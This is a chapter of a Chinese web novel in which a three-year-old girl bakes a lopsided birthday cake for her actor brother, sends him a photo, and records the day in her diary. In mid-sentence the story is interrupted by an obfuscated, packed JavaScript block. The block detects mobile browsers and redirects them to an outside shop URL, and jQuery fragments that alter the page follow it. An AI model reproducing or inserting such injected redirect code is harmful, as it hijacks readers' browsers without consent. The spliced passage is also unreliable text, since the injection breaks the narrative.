27. 第 27 章
作品:《从三岁半开始管教影帝的那些年》 沈听澜的生日在四月中旬。
沈眠眠是在日历上发现的。那天她踩着小板凳给日历画圈圈的时候,看到四月十七日的下面有一行小字,是江淑仪的笔迹:“听澜生日”。
她把那个日期记在了心里。
四月十七日的前三天,沈眠眠开始在放学后拉着江淑仪去超市。她不买零食,不买玩具,直奔烘焙区。
“妈妈,做蛋糕需要什么?”
江淑仪愣了一下:“你想做蛋糕?”
“嗯。哥哥生日,我要给他做一个蛋糕。”
江淑仪看着女儿认真的小脸,蹲下来:“你会做吗?”
“不会,你教我。”沈眠眠从货架上拿下一袋低筋面粉,抱在怀里,“我需要面粉、鸡蛋、糖、黄油、奶油。还有做装饰的东西。”
江淑仪帮她挑了需要的材料,结账的时候多买了一包彩色糖珠。沈眠眠把那包糖珠拿在手里看了很久,然后小心翼翼地放进购物袋里。
四月十六日晚上,沈眠眠把第二天要用的东西全部准备好——围裙、袖套、小板凳、所有材料。她把它们整整齐齐地摆在厨房的台面上,然后检查了三遍,才去睡觉。
四月十七日,沈眠眠比平时早起了一个小时。
她穿着那件浅粉色的睡衣,自己扎好小揪揪,走到厨房门口,看到江淑仪已经在和面了。
“妈妈,我来帮忙。”
她踩上小板凳,正好够到台面。江淑仪给她系上围裙,围裙太大了,在她身上像一件长袍,下摆拖到了膝盖。袖套也太长了,卷了两道才露出手指。
“先做蛋糕胚,”江淑仪说,“你把鸡蛋打到这个盆里。”
沈眠眠拿起一个鸡蛋,在碗沿上磕了一下——力气太小,没磕开。她又磕了一下,力气大了一点,蛋壳裂了一条缝,她用两只手掰开,蛋液滑进了盆里,蛋壳掉进去一小块。她用筷子把蛋壳夹出来,动作很慢,但很稳。
三个鸡蛋打完,她的小手沾满了蛋液,黏黏的。她看了一眼自己的手,没有擦,继续下一步。
江淑仪在旁边指导她加糖、加面粉、搅拌。沈眠眠的胳膊太短了,搅拌的时候要用两只手握住打蛋器,整个身体都在用力。她的脸憋得有点红,但表情依然认真,眼睛盯着盆里的面糊,确保每一部分都搅拌均匀。
面糊倒进模具,放进预热好的烤箱。江淑仪设了定时,沈眠眠搬了一个小凳子坐在烤箱前面,隔着玻璃门看着面糊慢慢鼓起来,表面变成金黄色。
“还要多久?”她问。
“二十分钟。”
沈眠眠没有走开。她就那样坐在烤箱前面,双手托着腮帮子,看着蛋糕在热气中慢慢成形。烤箱的灯光照在她脸上,暖融融的。
二十分钟后,江淑仪戴上隔热手套,把蛋糕从烤箱里取出来。金黄色的蛋糕胚在桌上冒着热气,整个厨房都弥漫着香甜的味道。
沈眠眠凑过去看了看,用指尖轻轻碰了一下蛋糕的表面——“烫。”她收回手指,吹了吹。
“要等它凉了才能抹奶油。”江淑仪说。
“等多久?”
“大概一个小时。”
沈眠眠点了点头,开始收拾台面上的工具。她把打蛋器洗干净,把碗筷放好,把洒出来的面粉擦掉。做这些的时候,她的动作很慢,因为台面太高,她要踮着脚尖才能够到水龙头。
蛋糕胚凉了。沈眠眠站上小板凳,拿起抹刀,开始抹奶油。
这是她最期待的环节。
江淑仪帮她先把奶油抹在蛋糕表面,然后用抹刀大致铺平。沈眠眠接过抹刀,开始一点一点地修整。奶油的质地很软,她的力度控制不好,抹过去就带起一道沟,再抹回来又带起一道。她试了好几次,表面始终坑坑洼洼的。
她的眉头皱了起来。
“妈妈,它不平。”
“第一次抹都这样,没关系的。哥哥不会介意的。”
沈眠眠想了想,觉得妈妈说得对。哥哥连英语单词都念不好,没资格嫌弃蛋糕不平。
她放下抹刀,拿起裱花袋。江淑仪已经帮她把奶油装好了,裱花袋的尖端剪了一个小口。
沈眠眠握住裱花袋,两只手一起用力,在蛋糕的边缘挤出了一圈小花。第一朵花太大,奶油挤多了,塌成了一坨。她看了看那坨奶油,沉默了一秒,然后继续挤第二朵。第二朵小了一些,但还是歪的。第三朵、第四朵、第五朵——挤到第十朵的时候,她终于挤出了一朵看起来有点像花的形状。
她挤完了整圈,退后一步看。那些花有大有小、有高有低、有胖有瘦,像是不同品种的花被强行种在了同一个花园里。
沈眠眠没有重新挤。她觉得这样也挺好的,每一朵都不一样,就像每个人都不一样。
最难的步骤来了——写字。
沈眠眠拿起裱花袋,在蛋糕正中央的上方悬着,深吸了一口气。
她要在蛋糕上写:哥哥生日快乐。
六个字。
她先写“哥”。第一笔,横——奶油挤出来了,但线条有点抖。第二笔,竖——竖写得太长了,和横连在一起像一个歪歪扭扭的十字架。她看了看,没有改,继续写第二个“哥”字。第二个比第一个好一点,至少能看出来是两个上下结构的字。
然后写“生”。“生”字的竖写得太短了,横写得太长了,像一个被压扁的什么东西。
“日”字写得最小,挤在“生”的旁边,像一个偷偷溜进来的小圆点。
“快”字写到最后几笔的时候,裱花袋里的奶油快用完了,笔画变得断断续续的,像一条快要干涸的小溪。
“乐”字写完了。沈眠眠放下裱花袋,退后一步,看着自己的作品。
六个字,歪歪扭扭,大小不一,有的笔画粗,有的笔画细,有的奶油多到快流下来,有的奶油少到几乎看不清。但每一个字她都写得很认真,每一笔都没有省略。
“好了。”她说,语气里带着一丝完成重大工程后的释然。
江淑仪看着那个蛋糕——奶油抹得坑坑洼洼,边缘的花挤得七扭八歪,上面的字像刚学写字的小朋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476850|201420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
友在沙地上画出来的——她的眼眶红了。
“妈妈帮你拍照,发给哥哥。”
沈眠眠点了点头,把蛋糕转了一个方向,让“哥哥生日快乐”六个字正对着镜头。她又看了看,觉得“乐”字有点歪,用手指轻轻地推了一下——奶油被推得变了形,更歪了。
她收回手,决定不再动了。
江淑仪拍了好几张照片,从不同角度,最后选了一张光线最好的,发给了沈听澜。
照片下面附了一行字:“眠眠给你做的蛋糕,她今天早起了一个小时。”
消息发出去之后,沈眠眠站在小板凳上,双手撑在台面上,下巴搁在手背上,盯着手机屏幕。
等了大概两分钟,沈听澜的回复来了。
不是文字,是一条语音。
沈眠眠点开。
哥哥的声音从手机里传出来,比平时低沉,带着一点沙哑,像是在喉咙里压着什么。
他说:“谢谢。”
只有两个字。
但沈眠眠听出来了,这两个字中间有一个很短的停顿——不是忘记后面要说什么的停顿,而是需要调整呼吸、压住某种情绪的停顿。
沈眠眠按着语音键,说:“不客气。蛋糕你吃不到,我帮你吃了。”
发完之后,她拿起那把蛋糕刀,切下第一块,放在盘子里。蛋糕胚有点干,奶油有点甜,上面的字被她切成了两半,“哥哥”变成了“哥”和“哥”,分居两块蛋糕上。
她吃了一口,嚼了嚼,说:“好吃。”
江淑仪也切了一块,吃了一口,笑了:“好吃。”
沈眠眠吃了一整块蛋糕,然后拍了张空盘子的照片发给沈听澜,配文:“我替你吃了。很好吃。”
沈听澜发来一个省略号,然后又发了一条:“小没良心的。”
沈眠眠笑了,笑得眼睛弯弯的。
那天晚上,沈眠眠趴在书桌上,打开那个粉色的小本子,在今天的日期后面写道:
“今天哥哥生日。我做了蛋糕。奶油抹得不平,字写得不好看,但哥哥说谢谢。他声音哑了,可能是感动了。也可能只是嗓子不好。”
她想了想,又加了一句:
“下次他回来,我要让他吃我做的蛋糕。不是照片,是真的。”
写完之后,她把本子合上,塞回抽屉。然后她站起来,踮起脚尖,把墙上那幅全家福取下来,翻到背面。在画的背面,她写了一行小字:“哥哥生日,我做了蛋糕。他说谢谢。”
她重新把画贴回墙上,退后两步看了看。
画里的哥哥穿着红色的衣服,笑得很大声。
她对着那个笑容说:“生日快乐,哥哥。”
窗外的月亮很圆,很亮。
她把毛绒熊的胳膊抱在怀里,闭上眼睛。
明天还要上幼儿园。
还要教林夏画画。
还要给哥哥发消息,问他有没有吃蛋糕——虽然知道他吃不到。
但问还是要问的。
因为她是妹妹。

